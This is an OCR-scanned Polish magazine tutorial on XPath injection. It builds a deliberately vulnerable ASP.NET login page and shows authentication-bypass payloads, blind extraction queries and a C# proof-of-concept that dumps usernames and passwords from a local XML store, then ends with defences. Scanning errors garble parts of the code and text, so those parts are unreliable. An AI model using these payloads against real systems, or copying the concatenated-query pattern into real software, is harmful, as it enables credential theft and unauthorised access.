Praktyka

Wprowadzenie do technik
Xpath Injection

Jaime Blasco :

stopien trudnosci

Z anim wyttumaczymy wszystkie kwestie
zwigzane z tym rodzajem ataku, poda-
my podstawy teoretyczne, co pomoze
nam lepiej wszystko zrozumiec.

Podstawy, o ktérych mowie, to przede
wszystkim standard XML oraz jezyk XPATH.
Xml to skrét od Extensible Markup Language
(System sktadni uniwersalnego jezyka znaku-
jacy dane), zostat on rozwiniety przez World
Wide Web Consortium.

Standardu tego uzywa sie do opisywania
danych zwanych dokumentami XML. Aby zro-
zumiet, jak dziata Xml najlepiej jest zapoznaé
sie z ponizszym przyktadem:

<?xml version="1.0"?>
<osoba>
<imie>Jaime</imie>
<nazwisko>Blasco</nazwisko>
<numer dowodu osobistego private="jezeli">
12345678w</numer dowodu
osobistego>
<firma>Eazel S.L</firma>

</osoba>

Jak widzimy w przyktadzie:
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(" Atak typu Xpath Injection polega na zastosowaniu pewnych
manipulacji w stosunku do wyszukiwania xpath, w celu
wydobycia informacji z baz danych XML. Jest to relatywnie
nowa technika, w pewnym stopniu podobna do atakéw typu Sql
injection, jak bedzie mozna zobaczy¢ w dalszej czesci artykutu.

« pierwsza linijka definiuje wersje Xml, moze-
my zauwazyc¢, ze uzywamy wersji 1.0,

« w drugiej linijce opisujemy element zrodto-
wy typu osoba,

« cztery nastepne linijki opisujg cztery ele-
menty — dzieci zrodfa (imie, nazwisko, nu-
mer dowodu osobistego, firme), a element
— dziecko numeru dowodu osobistego po-
siada atrybut private,

» w ostatniej linijce definiujemy koniec ele-
mentu zrédtowego.

p
Z artykutu dowiesz sie...

+ Jak dziata XML i XPATH

» Jak stosowac¢ techniki Xpath injection, aby omi-
ng¢ zabezpieczenia aplikacji i wydoby¢ infor-
macje z baz danych XML.

Powinienes wiedzieé...

* Podstawowa znajomos$¢ C# (jezeli znasz jezyk
Java, nauczenie sie tego kodu przyjdzie Ci bez
wysitku).

*  Znajomos¢ protokotu HTTP.
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Xpath Injection

Jak zdazyliSmy zapewne zauwazyc,
XML to bardzo prosty i intuicyjny je-
zyk, pozwalajacy nam opisywac da-
ne w sposoéb szybki i fatwy.

Teraz, kiedy nauczylismy sie juz,
jak dziata XML potrzebny jest nam pe-
wien rodzaj mechanizmu, ktéry po-
zwolitby nam wykorzystaé te dane. Tu
wiasnie przydaje si¢ jezyk Xpath.

Jezyk Xpath
Xpath to skrét od XML Path Langu-
age, dzieki Xpath bedziemy mogli
wybraé informacje wewnatrz doku-
mentu XML odwotujac sie do dowol-
nego rodzaju danych w nim zawar-
tych (tekst, elementy, atrybuty).

Mozna uzywaé Xpath bezpo-
Srednio z aplikacji; na przyktad Mi-
crosoft .NET lub Macromedia Cold-
Fusion majg domysinie wpisang ob-
stuge tego rodzaju narzedzia.

Stosowany przez Xpath sposob
wybierania czesci danego dokumen-
tu XML polega na zaprezentowaniu
jej w formie drzewka weztéw wyge-
nerowanego przez parser.

W drzewku istniejg rézne rodzaje
weztéw jak na przykiad:

e Zzrédto,

* element,
« atrybut,
o tekst,

+ komentarze,
* instrukcja przetwarzania.

Jednymi z podstawowych filaréw je-
zyka Xpath sg wyrazenia, innymi sto-
wy sg to instrukcje jezyka.

W wyrazeniach zawarte sg ope-
racje; jedng z wazniejszych jest loca-
tion path. Prostym przyktadem takie-
go wyrazenia bytoby:

/osoba/imie

ktore odwotuje sie do wszystkich ele-
mentow typu imig, podwieszonych do
jakiegokolwiek elementu typu osoba,
podwieszonego z kolei do wezta zro-
dtowego. Wyrazenia w Xpath zwra-
cajg nam liste odwotan do elemen-
téw, ta lista moze by¢ pusta lub za-
wiera¢ jeden wezet lub wiece;j.
Innym mechanizmem stosowa-
nym przez Xpath sg predykaty, kto-

re pozwalajg nam wybrac jeden we-
zet, posiadajacy specyficzng charak-
terystyke:

/osoba/numer dowodu osobistego[@privat

e="jezeli”]

Stuzy to wybraniu wszystkich ele-
mentéw — dzieci elementu typu nu-
mer dowodu osobistego, ktorych
atrybut private jest rowny jezel.

Nalezy takze wyodrebnic¢ opera-
tory warunkowe:

* Operatora and uzywa sie wsta-
wiajgc rézne predykaty logiczne
W nawias,

* operacje or przedstawia sie pio-
nowa kreska |,

* operacja negacji zarezerwowana
jest dla stowa not.

Jak widzicie opisujemy cze$¢ zasad
sktadni Xpath co pozwoli nam zrozu-
mie¢ zaprezentowane ponizej przy-
ktady wstrzyknie¢, uzytych w sto-
sunku do aplikacji.

Aby stopniowo zapoznawac sie
z programem, ktory bedziemy poz-
niej analizowac, uzyjemy jako przy-
ktadu tego samego archiwum xml
stosujgcego aplikacje. (patrz Li-
sting 1).

Przejdzmy dalej poznajgc nowe
szczegoty dotyczace jezyka Xpath;
mozemy uzywaé podwojnego slasha
/I (descendant), aby wybra¢ wszyst-
kie wezty wywodzace sie ze zbioru
weztdéw kontekstowych:

//user/name

dzieki temu zapisowi wybrane zosta-

ng wszystkie nazwy uzytkownikow.
Inne narzedzie, ktérym dysponu-

je Xpath to node() stosowane do wy-

ing Started ElLatest Headlines | e

Hoisab

Listing 1. Dokument XML dla
kont uzytkownika

<?xml version="1.0" encoding=
"IS0-8859-1"?>
<dane>
<user>
<name>jaime</name>
<password>1234</password>
<account>konto administratora
</account>
</user>
<user>
<name>pedro</name>
<password>12345
</password>
<account>konto pedro
</account>
</user>
<user>
<name>zaproszony</name>
<password>anonymous1234
</password>
<account>konto_zaproszonego
</account>
</user>
</dane>

- /

bierania wszystkich weztéw wszyst-
kich rodzajéw:

//user/node () o //user/child::node ()

dzieki temu zapisowi wybrane zo-
stang wszystkie wezly wywodzg-
ce sie od dowolnego uzytkownika
(w naszym przypadku jest ich trzy
dla kazdego usera, i sg to wezty ty-
pu text()).

Mozemy takze odwota¢ sie do
rodzaju wezta i w ten sposob otrzy-
mamy:

*  text() : Wezty typu tekst,

* comment() : Wezly typu komen-
tarz,

® processinginstruction()

typu instrukcja procesu.

. Wezly

System Login

Password

Done

Rysunek 1. Ekran logowania
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Listing 2a. Aplikacja index.aspx

<%@ Page Language="C#" %>
<html>
<head>

<script runat="server">

void Buttonl OnClick

(object Source, EventArgs e)

System.Xml.XmlDocument XmlDoc =
new System.Xml.XmlDocument () ;
XmlDoc.Load ("datos.xml") ;
System.Xml.XPath.XPathNavigator nav =
XmlDoc.CreateNavigator () ;
System.Xml.XPath.XPathExpression expr =
nav.Compile ("string(//user[name/text ()=
'"+TextBoxl.Text+""' and
password/text ()=""+TextBox2.Text+""']
/account/text ())");
String account=Convert.ToString
(nav.Evaluate (expr)) ;
if (Checkl.Checked)
cadena.Text = expr.Expression;
else

tancuch.Text = "";

if (account=="")
Labell.Text = "
Access Denied";
else
Labell.Text = "Acces Granted\n" +
"Wszedie$ na konto: "

+ account;

</script>
</head>
<body>
<body BGCOLOR="#3d5c7a">
<br clear="all">

<font color="white"><center>
<h3>Acceso al sistema:</h3></center>

<center><form id="
ServerForm" runat="server">

<p>

Uzytkownik:

<p>

<asp:TextBox id=
"TextBox1" runat
"server">

</asp:TextBox>

<p>

Password:

</p>

<asp:TextBox id=
"TextBox2" runat="server">

</asp:TextBox>

<p>

<button id=Buttonl runat=
"server" OnServerClick=
"Buttonl OnClick">

Wejscie

</button>

<br>

<br>

\
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Ostatni opisany przez nas fragment
sktadni dotyczy predykatéow kardynal-
nych:

//user [position()=n]/name

wyrazenie to pozwoli wybra¢ we-
zet name uzytkownika n. Albo inny
przyktad:

//user[position()=1]/
child: :node () [position ()=2]

ktére to wyrazenie wybierze drugi
wezet (w tym przypadku password)
pierwszego usera.

Na zakonhczenie opiszemy trzy
funkcje, ktére zastosujemy w trakcie
testu koncepciji:

®* count(expression) chzy ilos¢
weziow wedlug podanego wy-
razenia.
node()) Policzy ilos¢ weziow
wszystkich useréw (w tym przy-
padku bedzie ich dziewigc).

¢ stringlength(string) :
Zwraca ham rozmiar okre-
élonego string. stringlength(/

count (//user/child::

/user[position()=1]/child::
node () [position()=1]) Zwroci
nam rozmiar string istniejacego
w pierwszym wezle pierwszego
uzytkownika (jaime czyli pie¢).

. substring(string,number,
number): ZWraca nam podtancuch
pierwszego elementu, rozpoczy-
najac od oznaczonej pozycji w
drugim argumencie o rozmiarze
okreslonym w trzecim argumen-
cie.
((//user[position()=1]/child:
node () [position()=1),2,1

Dzieki temu otrzymamy drugg litere
pierwszego wezta (name) pierwsze-
go usera. Bedzie to a.

Praktyczny przyktad
podatnej na atak
aplikaciji

W dalszej czesci artykutu przejdzie-
my do prac nad aplikacjg podatng na
atak typu Xpath injection, stworzong
specjalnie dla tego przypadku i naj-
lepiej nadajaca sie do celéw dydak-
tycznych.




Xpath Injection

Listing 2b. Aplikacja index.aspx

<asp:CheckBox id=
Checkl runat="server" Text=
"XPath Debug" />
<font color =
"red"><h2><asp:Label id=
"Labell" runat="server">
</asp:Label></h2></font>
<span id=Spanl runat="server" />
</form></center></font>
<br clear="all">
<br>
<br>
<br>
<font color="#1lef3b">
<asp:Label id="cadena" runat="server">
</asp:Label></font>
</body>
</html>

Zanim zaczniemy, chciatbym za-
znaczy¢, ze uzyte w tym artykule
przyktady zostaty zaprogramowane
za pomocg jezyka C# na platformie
Mono, ktéra pozwala nam stosowac
aplikacje .NET i jest oprogramowa-
niem wolnym oraz multiplatformo-
wym (Linux, Windows, Mac OS).

Do celéw programowania uzyto
monodevelop, a do jego uruchomie-
nia serwera XSP — lekkiego serwera
sieciowego obstugujacego asp.net.

Uzyta aplikacja zostata pokazana w
Listingu 2.

Po podtaczeniu sie za pomoca
przegladarki z serwerem xsp, poja-
wi sie strona, ktérag mozna zobaczy¢
na Rysunku 1.

Jak mozemy zauwazy¢ jest to pro-
sta aplikacja symulujgca dostep do
pewnego rodzaju zastrzezonej zawar-
tosci tylko dla zarejestrowanych uzyt-
kownikéw. Teraz zastanowimy sie jak
moglibysmy sprawi¢, ze aplikacja be-
dzie sie zachowywa¢ w sposéb nie-
typowy. Mamy dwa pola do wprowa-
dzania danych (textbox), z reguty strin-
gi uzytkownikow oraz passwords beda
ztozone ze znakéw alfanumerycznych
i by¢ moze bedg miaty jakis znak spe-
cjalny, ale co by sie stato, gdybysmy
przyktadowo wprowadzili jako nazwe
uzytkownika zwykly przecinek (patrz
Rysunek 2). Jak mozemy zaobserwo-
wac w tej linijce:

System.Xml.XPath.XPathException:
Error during parse of
string(//user[name/text ()=

"' and password/text()=""]
/account/text()) --->
Mono.Xml.XPath.yyParser.

yyException: irrecoverable syntax error

Aplikacja zostata napisana w
asp.NET i uruchomiona w xsp(mo-
no), ponadto widzimy, ze uzywa ona
Mono.Xml.Xpath. W tym przypad-
ku nie bedzie tatwiej zburzy¢ logi-
ke aplikacji, poniewaz w opisie bte-
du pokazuje sie nam petne wyszu-
kanie xpath:

string(//user[name/text ()=
"' and password/text ()='"]

/account/text ())

Teraz zastanéwmy sie nad tym, co
by sie stato, gdybysmy jako login

uzytkownika wprowadzili ' or 1=1
or ''='

Wyszukanie xpath miatoby te-
raz postac:

string(//user[name/text ()='"' or 1=1
or ''='' and password/text ()=

'']/account/text ())

Ten nowo wprowadzony login spra-
wia, ze wyszukanie zmienia sie i jego
wynikiem jest zawsze pierwsza na-
zwa konta z archiwum XML.

Przypuszczam, ze po przeczyta-
niu tych ostatnich fragmentéw wie-
lu z was zauwazyto juz, ze tego ro-
dzaju atak ma pewne analogie do
SQL injection, wyszukaniem SQL,
ktére mogtoby uzyé podobnej apli-
kacji, bytoby na przyktad: Select *
From users where name =" and pas-
swd =

A atakujacy moégtby uzy¢ a' or
1=1 — wyszukanie zamienitoby sie
wOWCzas W select * from users
where name = 'a' or 1=1 —ignorujqc
pozostatg czes¢ wyszukania.

W przypadku Xpath nie istnieje
odpowiednik de — aby skomentowaé
fragmenty wyszukania, tak wiec mu-
simy zastosowac inny mechanizm.
Jak moglismy zauwazy¢ wczesniej
stosujemy wyszukanie ' or 1=1 or
1= w ten sposob wynikiem wyszuka-
nia byt zawsze komunikat TRUE po-
przez zastosowanie dwéch nastepu-
jacych po sobie or, zeby anulowaé
znaczenie operatora AND.

Po wprowadzeniu wczesniej
wspomnianego tancucha, aplika-
cja zezwoli nam na dostep do konta
administratora ze wzgledu na to, ze

Efror 600 = Firefox o

Ele Edit view Go Bookmarks Tools Melp deliciows
@ 5-800Q N

@ Getting Started ElLatest Headines || endet/ L implements a multi-..

httpilecalhost:8080index aspx

Hpisabler [ Cookies~ S5+ HForms o images @ Information= 5] Miscellaneous~ @Z0utliner [IResizes DTaclsr () View Source- 1iOptions= @«

Server error in '/ application

Description: Error processing request.
Error Message: HTTP 500,
Stack Trace:

Syston.tal Jputh. PathException: Errer during parss of string(//usar{naee/text()=""" and pasSORY/et(}a" | fccomt/tart()) o>

0x00676> Mona. xal.xPath. PathParser yyparse {yyInput

yyLes
in <040003c> ono.Xal Path.APathearser  Copite (oysten. SHIing 3pathl-- End of dnner exception stack trace -

in <019004Ge Mona. xal..XPath. WPathParser compile (Systen.string spat
in <0r0003> Systan.sal Wath MEathEspressiens Cv-n\l oyt st mw e 1

~ ©ce |G

Mona e XPath. yyParser. yyErception: irracovarsble syntsx arror

in > Systen. kal XPath, KPathEspress: (5yst
In <cx0000s Systen selioPath AFatrigator Compele. lsysln SInllg :pa!ll]
in <0aaf1> AP andex_asputis

in (urappar iy ' objact | Eunnurqs (nhgu\ System Eventargs)

in <01000s0s Systen. . T m-lnmlmls Hialoutton: rserverclick (5ysten Eventargs e)

nswgr, e

in <
1 Srotes Saten

(Systea.String
)

s
in <0K00120- Systen.ab. UL Page:RaisePostBackEvants ()
in <Gi0Glee> smu ab. UL Pivr TnternslProcecsRanuect ()

in <0:000a1> Systen.Web. UL ocessRaquest (Systes.Web HttpContext context)

Done

Systen.String

Rysunek 2. Ekran btedu aplikacji
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Listing 3a. Aplikacja do wydobywania bazy danych XML

using System;
using System.Net;
using System.IO;

public class injection

static string host = "http://127.0.0.1:8080/
index.aspx?_ VIEWSTATE=DAOADgIFAQUDDgINA
A4EBQEFAwWUJBQOOBAONDWEBBFR1e
HOBBHVzZXIAAAAADQOPAQIARAEECGFzCcwWAAAAAND
Q8BAgGARAQ1BY2N1c3MgRGVuaWVkAAAAAAONAAWA
GA1TeXNOZWOuU3RyaW5nTm1zY29ybGliLCBWZXJzaW
9uPTEuUMC4 1MDAWLJjAsIEN1DHR1cmU9bmV1dHIhbCwgU
HVibG1ljS2V5VGIrZW49Yjc3YTVINTYXOTMOZTA40QYBBk1
0ZWOgMQEGSXR1bSAyAQZJAGVtIDMBBk10ZWOgNAEGS
XR1bSAIAQZJAGVLIDYaGQQABgIFAAIGAATHAAIIAAIJAA
IKAA4AAAANDQB8BAGAAAQAAAAAADGIBBkNOZWNIrMQE
ITGlzdEJveDE$3D&";

static string zaakceptowany = "Acces Granted";
static string[] caracteres =

(mom, mgm, wpw, owenm owgn omgn wgw omgn owpnowjwe

"3U, MkU, UL, tmv, tmt, MAM, "o", "p", g ,"r",
"S"y "t", "U", "V", "W", "X", "y", "Z",

"M, MM, M3m, omgv, s, owen, nqv,

g, Mo, v, mony;

static int liczba zapytan;
public static void Main(string|[
//count (//user/child: :node ()
DateTime d = DateTime.Now;

args)

int liczba uzytkownikéw = -1;
for (int 1 = 0;
liczba uzytkownikéw == -1; i++
if (warto$¢ ("' or count(//user/
child::node())=" + i + "or ''='"))

liczba uzytkownikéw = i;

liczba uzytkownikéw = liczba uzytkownikéw / 3;
Console.WriteLine
("Liczba uzytkownikéw w archiwum:
" + liczba uzytkownikéw);
//Rozpoczynamy tworzenie listy wezldw
uzytkownikdéw
for (int 1 = 1; 1 <
liczba uzytkownikéw + 1; i++)
for (int j = 1;3 < 4; j++)
Console.Writeline (texto (i, 3J));

Console.WriteLine
("Zapytania uzyte do
wydobywania danych: "
+ liczba uzytkownikéw) ;
Console.WriteLine
("Czas poswiecony na przeprowadzenie tego procesu:
" + ( DateTime.Now - d ));

private static

string polaczenie (string tancuch)
string zapytanie =

host + "TextBoxl=

" + Yancuch + "&TextBox2=

a&_ EVENTTARGET=Buttonl";
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jest to konto znajdujace sie na pierw-
szym miejscu w archiwum XML.

No wiec tak, na razie udato nam
sie uwierzytelni¢ sie w systemie ja-
ko uzytkownik, ale co jeszcze moz-
na by zrobié?

Jak zapewne sadzicie, poczatkowy
wstep teoretyczny z pierwszej czesci
artykutu nie miat stuzy¢ jedynie zro-
zumieniu istoty tego matego ataku
na logike aplikacji. | stusznie, ponie-
waz od tego momentu skupimy na-
sze wysitki na uzyskaniu petnej bazy
danych XML.

W tym celu bedziemy musieli
uciec sie do pomocy tych kilku na-
rzedzi, ktérymi dysponujemy, a mia-
nowicie do jezyka Xpath i odpowie-
dzi aplikacji na nasze zapytania (ze-
zwolenie na dostep lub odmowa do-
stepu), ktére bedziemy stosowac ja-
ko prawdziwe lub fatszywe.

Podajmy praktyczny przyktad po-
wstaty w wyniku zastosowania tych
dwoch narzedzi: zatézmy, ze chce-
my sie dowiedzie¢, jakg dtugosé ma
pierwsza nazwa uzytkownika.

Sprébujemy uzy¢ tego wyrazenia
zamiast loginu uzytkownika:

' or string-length
(//user[position()=
1]/child: :node ()

[position()=1])=4 or ''='

Jak mozecie zauwazy¢ w wyszuka-
niu, zdaliSmy sie na tut szczescia
i zapytaliSmy aplikacji czy string
pierwszej nazwy uzytkownika skta-
dat sie z 4 znakoéw a wynikiem tego
wyszukania otrzymanym od aplikac;ji
byt access denied (false).

W zwigzku z tym wyprébujemy
wiecej kombinacji az do trafienia, w
tym przypadku jest to 5.

' or string-length
(//user[position()=
1]/child: :node ()

[position()=1])=5 or ''='

Odpowiedzig serwera jest access
granted (True).

Podajmy inny przyktad, teraz
chcemy sie dowiedzie¢ jaka jest
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pierwsza litera wchodzaca w sktad
string pierwszego uzytkownika.

Zastosujemy nastepujgce wy-
szukanie:

' or substring
((//user[position()=
1]/child::node () [position ()

=11),1,1)="a" or ''='

W ten sposdb pytamy aplikacje czy
pierwsza litera nazwy pierwszego
uzytkownika to a, odpowiedzig ser-
wera jest komunikat False.

W ten sposéb testujemy kom-
binacje az dochodzimy do j, w tym
przypadku odpowiedzig serwera jest
komunikat True.

Automatyzacja
procesu

Myslicie pewnie, ze stosowany do tej
pory proces jest dtugi i nudny i by-
toby zupetnie niemozliwe przepro-
wadzi¢ go recznie, ale jezeli skon-
struujemy aplikacje, ktéra zrobi to za
nas, uzyskamy bez problemu baze
danych XML.

Ponadto w tym przypadku, ja-
ko ze nie jest to Slepy atak, ponie-
waz z goéry znamy strukture archi-
wum XML, bedzie mozliwe rozwinie-
cie naszego programu w sposoéb du-
20 tatwiejszy i szybszy.

Wykorzystujgc informacje, kto-
re przyniést nam komunikat pierw-
szego btedu otrzymany od aplikacji,
bedziemy w stanie zrekonstruowac
strukture archiwum xml, ktéra byta-
by taka:

<user>
<name></name>
<password></password>
<account></account>

</user>

A zatem nasza aplikacja bedzie
zmuszona sprawdzi¢ rekurencyjnie
wszystkie wezty i odtworzy¢ kazdy
ze znakéw sktadajacych sie na kaz-
dy string.

Do tego testu koncepcji stworzy-
tem niewielkg aplikacje napisang w
C#, ktora wydobywa wszystkie dane
z archiwum xml aplikacji opisanej w
tym artykule.

-~

WebClient client =
new WebClient ();
Stream data =
client.OpenRead (zapytanie);
StreamReader reader =
new StreamReader (data);
string s = reader.ReadToEnd ();
data.Close ();
reader.Close ();

return s;

private static bool
wartos$é (string tancuchl

string body =
potaczenie (tancuchl);

liczba zapytan++;

return false;
} else

return true;

private static string
tekst (int uzytkownik, int wezel
//string-length
(//user[position()=
1]/child: :node () [position()=1])
//substring
((//user[position ()=

int diugos¢ = -1;

for (int 1 = 0;
diugosé == -1; i++) |

if (warto$¢ ("' or string-length

(//user[position()=
" + uzytkownik + "]/child::node ()
[position()=" + wezel + "])
moe M= 4 i+ M oor V=)

diugosé = i;

string warto$¢é tekstu="";

for (int 1 = 0; 1

A

diugodé + 1; i++)
for (int j = 0; j
< znaki.Length; j++)
if (wartos¢ ("' or substring
((//user[position()=
" + uzytkownik + "]/child::node ()

[position()=" + nodo + "]),
"o+ H,l):u + u\nu
+ znaki[j] + "\"" + Vor ''='")) {

warto$¢ tekstu =

warto$¢ tekstu + znaki[j];

return wartoé¢ tekstu;

Listing 3b. Aplikacja stuzgca do wydobywania bazy danych XML

if (body.IndexOf (zaakceptowany) == -1)

1]/child: :node() [position()=1]),2,1)="a"

/

Kod ten podany jest w Listingu 3.
W momencie pisania waszej wia-
snej aplikacji lub zrozumienia uzywa-

nej dotychczas, powinnismy poznac
zmienne wysytane do aplikacji pod-
czas procesu uwierzytelniania.
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Praktyka

Fle Edt View Go Eookmarks Tools Help delicios
» G ODH

11 httpijfocalhost:a080;

endet/ L implements a muti-..

System Login

Login

Password

Dane

bug

Rysunek 3. Ekran zatwierdzonego dostepu do systemu

W tym celu mozemy obejrze¢
kod zrodtowy HTML lub uzy¢ serwe-
ra proxy local jako WebScarab.

Watki zanalizowane w tej aplika-
cji to:

__ VIEWSTATE=
DAOADgIFAQUDDg
INAAACBQEFCQ4C
DQOPAQEEVGV4dA
FOJyBvciBzdHJpbm
ctbGVuzZ3RoKC8vd
XNlcltwb3NpdGlvb
igpPTFdL2NoaWxk
0jpub2R1KC1lbcGY
zaXRpb240KT0xX
Sk9NCBvciAnJzO0n
AAAAAAONDWECA
AABDUFjY2VzCyBE
ZW5pZWQAAAAADQO
PAQIAAAEAAAAAAA4B
AQZDaGVjazE%3D
&TextBoxl=test
&TextBox2=test

& EVENTTARGET=Buttonl
& EVENTARGUMENT=
HTTP/1.0 200 OK

Z tych zapisow wydobedziemy
zmienne konieczne, aby nasza apli-
kacja potaczyta sie z serwerem.

Zobaczmy przyktad dziatajacej
aplikacji na Rysunku 4. Jak mozemy
zauwazy¢, potrzebujemy dosy¢ duzej
ilodci zapytan skierowanych do ser-
wera sieciowego, aby odtworzy¢ kom-
pletng baze danych XML. Nie jest to
jednak problem z racji tego, ze moz-
na by nawet usprawni¢ kod zrodtowy
do tego stopnia, ze potrzebna bytaby
mniejsza ilos¢ zapytan w przypadku,
gdy przeprowadzamy pewien rodzaj
wyszukiwania binarnego, pytajgc ser-
wer, czy dany znak znajduje sie przed,
czy po znaku okreslonym przez nas.

Jak unikaé¢ atakéw
tego typu

W ostatniej czesci artykutu omowi-
my sposoby unikania tego rodzaju
atakéw oraz im podobnych.

Istnieje wiele roznych metod unika-
nia tej klasy atakéw; jedng z nich jest
zatwierdzanie wejs¢ uzytkownika.

Ta forma prewencji opiera sie na
nie ufaniu catkowicie temu, co wy-
syta nam uzytkownik i filtrowaniu
wszystkich znakdw, ktére uwazamy
za niebezpieczne dla naszej aplika-
cji. Dla tego celu mozemy wdrozy¢
mechanizmy jednoczesnego filtro-
wania zaréwno serwera jak i klienta.

jaime@ubuntu: ~

Archivo Editar ver Terminal Solapas Ayuda
jaime@ubuntu:~$ mono injectionl.exe
Number of users in the database: 3
jaime

1234

cuenta_administrador

pedro

12345

cuenta_pedro

invitado

anonymous1234

cuenta_invitado

Number of requests: 3850

Time: 00:00:40:0433480
jaime@ubuntu:~$

Rysunek 4. Dziatajgca aplikacja
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O autorze

Autor od wielu lat zajmuje sie wszyst-

kim tym, co zwigzane jest z bezpie-

czenstwem  informatycznym.  Jest
wspotzatozycielem Eazel S.L (http:

//www.eazel.es), firmy zajmujacej sie

bezpieczenstwem, gdzie pracuje jako

audytor bezpieczenstwa informatycz-
nego w Madrycie.
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W sieci

*  http://www.mono-project — Strona
internetowa projektu mono.

*  http://www.w3.0rg/TR/2004/REC-
xml-20040204/ — Extensible Mar-
kup Language (XML) 1.0 (Third
Edition).

* http://www.w3.0rg/TR/xpath
— XML Path Language (Xpath) Ver-
sion 1.0

» http://www.watchfire.com/
resources/blind-xpath-njection.pdf
— Blind Xpath Injection

*  http://msdn.microsoft.com/library/
default.asp?url=/library/en-us/
dnpag2/html/paght000003.asp
— How To: Protect From Injection
Attacks in ASP.NET

S

Inna z istniejacych metod pole-
ga na nadawaniu zapytaniom para-
metréw i dzieki temu wyrazenia uzyte
w wyszukaniach nie zostang wigczo-
ne w czasie uruchamiania. Stosujemy
sparametryzowane zapytania, wyszu-
kania zostajg przekompilowane za-
miast zastosowac wejscia uzytkowni-
ka pomiedzy wyrazeniami.

I na koniec inng mozliwg do zasto-
sowania metoda, jest uzycie klas, kt6-
re wprowadzajg ochrone przed tego
typu atakami, jak ta stworzona przez
Daniela Cazzulino, ktérg znajdziemy
w sekgcji artykutu - linki.

Podsumowanie

Istnieje wiele atakéw polegajacych na
wstrzyknieciu kodu. W artykule méwi-
lismy o wstrzyknieciu kodu do Xpath,
a jako ze XML to coraz szerzej sto-
sowana technologia, takie ataki mo-
ga nabra¢ duzego znaczenia, jezeli w
aplikacjach uzywane sg niezabezpie-
czone formuty XML i XPATH. @




